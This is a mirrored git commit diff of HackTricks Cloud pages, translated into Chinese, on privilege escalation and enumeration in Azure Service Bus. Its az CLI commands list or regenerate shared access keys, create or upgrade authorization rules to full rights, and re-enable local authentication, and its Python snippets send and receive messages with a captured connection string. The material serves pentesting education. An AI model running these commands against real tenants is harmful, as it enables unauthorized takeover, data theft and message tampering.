mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
+76
-14
@@ -10,9 +10,81 @@
|
||||
../az-services/az-servicebus-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 发送消息。操作:`Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` 或 `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
### Microsoft.ServiceBus/namespaces/authorizationrules/listKeys/action 或 Microsoft.ServiceBus/namespaces/authorizationrules/regenerateKeys/action
|
||||
|
||||
您可以检索 `PrimaryConnectionString`,它作为 Service Bus 命名空间的凭据。使用此连接字符串,您可以完全以 Service Bus 命名空间的身份进行身份验证,从而能够向任何队列或主题发送消息,并可能以可能干扰操作、冒充有效用户或将恶意数据注入消息工作流的方式与系统进行交互。
|
||||
这些权限允许您获取或重新生成 Service Bus 命名空间内本地授权规则的密钥。使用这些密钥可以作为 Service Bus 命名空间进行身份验证,使您能够向任何队列或主题发送消息,从任何队列或订阅接收消息,或可能以可能干扰操作、冒充有效用户或将恶意数据注入消息工作流的方式与系统进行交互。
|
||||
|
||||
请注意,默认情况下 **`RootManageSharedAccessKey` 规则对 Service Bus 命名空间具有完全控制权**,并且它被 `az` cli 使用,但可能存在其他具有其他密钥值的规则。
|
||||
```bash
|
||||
# List keys
|
||||
az servicebus namespace authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --authorization-rule-name RootManageSharedAccessKey [--authorization-rule-name RootManageSharedAccessKey]
|
||||
|
||||
# Regenerate keys
|
||||
az servicebus namespace authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> [--authorization-rule-name RootManageSharedAccessKey]
|
||||
```
|
||||
### Microsoft.ServiceBus/namespaces/AuthorizationRules/write
|
||||
|
||||
通过此权限,可以**创建一个新的授权规则**,并拥有所有权限及其自己的密钥:
|
||||
```bash
|
||||
az servicebus namespace authorization-rule create --authorization-rule-name "myRule" --namespace-name mynamespacespdemo --resource-group Resource_Group_1 --rights Manage Listen Send
|
||||
```
|
||||
>[!WARNING]
|
||||
>此命令不会返回密钥,因此您需要通过之前的命令(和权限)获取它们,以便提升权限。
|
||||
|
||||
此外,通过该命令(和 `Microsoft.ServiceBus/namespaces/authorizationRules/read`),如果您通过 Azure CLI 执行此操作,可以使用以下命令更新现有的授权规则并赋予其更多权限(如果缺少某些权限):
|
||||
```bash
|
||||
az servicebus namespace authorization-rule update \
|
||||
--resource-group <MyResourceGroup> \
|
||||
--namespace-name <MyNamespace> \
|
||||
--name RootManageSharedAccessKey \
|
||||
--rights Manage Listen Send
|
||||
```
|
||||
### Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action 或 Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action
|
||||
|
||||
Service Bus 命名空间内的特定主题和队列可以拥有自己的授权规则,这些规则可用于控制对实体的访问。通过拥有这些权限,您可以 **检索或重新生成这些本地授权规则的密钥**,使您能够以实体的身份进行身份验证,并可能发送或接收消息、管理订阅或以可能干扰操作的方式与系统交互,冒充有效用户或向消息工作流注入恶意数据。
|
||||
```bash
|
||||
# List keys (topics)
|
||||
az servicebus topic authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>
|
||||
|
||||
# Regenerate keys (topics)
|
||||
az servicebus topic authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>
|
||||
|
||||
# List keys (queues)
|
||||
az servicebus queue authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name>
|
||||
|
||||
# Regenerate keys (queues)
|
||||
az servicebus queue authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name>
|
||||
```
|
||||
### Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/write
|
||||
|
||||
通过此权限,可以**创建一个新的授权规则**,并拥有所有权限及其自己的密钥:
|
||||
```bash
|
||||
# In a topic
|
||||
az servicebus topic authorization-rule create --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name> --rights Manage Listen Send
|
||||
|
||||
# In a queue
|
||||
az servicebus queue authorization-rule create --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name> --rights Manage Listen Send
|
||||
```
|
||||
>[!WARNING]
|
||||
>此命令不会返回密钥,因此您需要通过之前的命令(和权限)获取它们以提升权限。
|
||||
|
||||
此外,通过该命令(和 `Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/read`),如果您通过 Azure CLI 执行此操作,可以使用以下命令更新现有的授权规则并赋予其更多权限(如果缺少某些权限):
|
||||
```bash
|
||||
# In a topic
|
||||
az servicebus topic authorization-rule update --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name> --rights Manage Listen Send
|
||||
|
||||
# In a queue
|
||||
az servicebus queue authorization-rule update --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name> --rights Manage Listen Send
|
||||
```
|
||||
### Microsoft.ServiceBus/namespaces/write (& Microsoft.ServiceBus/namespaces/read if az cli is used)
|
||||
|
||||
拥有这些权限 **攻击者可以通过以下命令重新启用“本地身份验证”**,因此所有来自共享策略的密钥将有效。
|
||||
```bash
|
||||
az servicebus namespace update --disable-local-auth false -n <namespace-name> --resource-group <res-group>
|
||||
```
|
||||
### 发送带有密钥的消息 (Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action OR Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action)
|
||||
|
||||
您可以检索 `PrimaryConnectionString`,它作为 Service Bus 命名空间的凭据。使用此连接字符串,您可以完全以 Service Bus 命名空间的身份进行身份验证,从而使您能够向任何队列或主题发送消息,并可能以可能干扰操作、冒充有效用户或将恶意数据注入消息工作流的方式与系统进行交互。
|
||||
```python
|
||||
#You need to install the following libraries
|
||||
#pip install azure-servicebus
|
||||
@@ -81,7 +153,7 @@ print("Messages Sent")
|
||||
print("----------------------------")
|
||||
|
||||
```
|
||||
### 接收消息。操作: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` 或 `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
### 使用密钥接收 (Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action OR Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action)
|
||||
|
||||
您可以检索 PrimaryConnectionString,它作为 Service Bus 命名空间的凭据。使用此连接字符串,您可以从命名空间内的任何队列或订阅接收消息,从而访问潜在的敏感或关键数据,允许数据外泄,或干扰消息处理和应用程序工作流。
|
||||
```python
|
||||
@@ -127,17 +199,7 @@ asyncio.run(receive_and_process_messages())
|
||||
print("Message Receiving Completed")
|
||||
print("----------------------------")
|
||||
```
|
||||
### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
|
||||
|
||||
如果您拥有这些权限,您可以通过读取或创建共享访问密钥来提升权限。这些密钥允许对 Service Bus 命名空间进行完全控制,包括管理队列、主题以及发送/接收消息,可能会绕过基于角色的访问控制 (RBAC)。
|
||||
```bash
|
||||
az servicebus namespace authorization-rule update \
|
||||
--resource-group <MyResourceGroup> \
|
||||
--namespace-name <MyNamespace> \
|
||||
--name RootManageSharedAccessKey \
|
||||
--rights Manage Listen Send
|
||||
```
|
||||
## References
|
||||
## 参考
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
|
||||
@@ -54,18 +54,6 @@ sku, 授权规则,
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
```bash
|
||||
# Queue Enumeration
|
||||
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
az servicebus queue show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyQueue>
|
||||
|
||||
# Topic Enumeration
|
||||
az servicebus topic list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
az servicebus topic show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyTopic>
|
||||
|
||||
# Susbscription Enumeration
|
||||
az servicebus topic subscription list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
|
||||
az servicebus topic subscription show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic> --name <MySubscription>
|
||||
|
||||
# Namespace Enumeration
|
||||
az servicebus namespace list
|
||||
az servicebus namespace network-rule-set list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
@@ -79,6 +67,23 @@ az servicebus namespace authorization-rule list --resource-group <MyResourceGrou
|
||||
az servicebus queue authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --queue-name <MyQueue>
|
||||
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
|
||||
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
|
||||
|
||||
# Get keys
|
||||
az servicebus namespace authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> [--authorization-rule-name RootManageSharedAccessKey]
|
||||
az servicebus topic authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>
|
||||
az servicebus queue authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --queue-name <topic-name> --name <auth-rule-name>
|
||||
|
||||
# Queue Enumeration
|
||||
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
az servicebus queue show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyQueue>
|
||||
|
||||
# Topic Enumeration
|
||||
az servicebus topic list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
az servicebus topic show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyTopic>
|
||||
|
||||
# Susbscription Enumeration
|
||||
az servicebus topic subscription list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
|
||||
az servicebus topic subscription show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic> --name <MySubscription>
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user